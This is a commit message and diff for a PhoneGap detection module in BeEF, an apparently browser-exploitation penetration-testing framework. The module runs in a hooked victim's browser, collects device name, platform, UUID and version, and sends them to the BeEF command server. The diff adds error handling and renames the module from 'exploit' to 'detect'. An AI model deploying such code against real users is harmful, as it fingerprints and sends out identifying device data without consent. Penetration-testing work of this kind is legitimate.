Minor updates to PhoneGap modules:

o Fixed bug in the Detect PhoneGap module
		o No longer fails to return if PhoneGap is not present

	o Some minor module name and description updates

modules/phonegap/detect/command.js

@@ -1,12 +1,21 @@
 // 
-// exploit phonegap
+// detect phonegap
 //
 beef.execute(function() {
 
-    beef.net.send("<%= @command_url %>", <%= @command_id %>, 
-   'phonegap_version='+" name: " + device.name 
-    + " phonegap api: " + device.phonegap
-    + " platform: " + device.platform
-    + " uuid: " + device.uuid
-    + " version: " + device.version);	
+    var phonegap_details;
+
+    try {
+        phonegap_details = ""
+        + " name: " + device.name 
+        + " phonegap api: " + device.phonegap
+        + " platform: " + device.platform
+        + " uuid: " + device.uuid
+        + " version: " + device.version;
+    } catch(e) {
+        phonegap_details = "unable to detect phonegap";
+    }
+
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap="+phonegap_details);
+
 });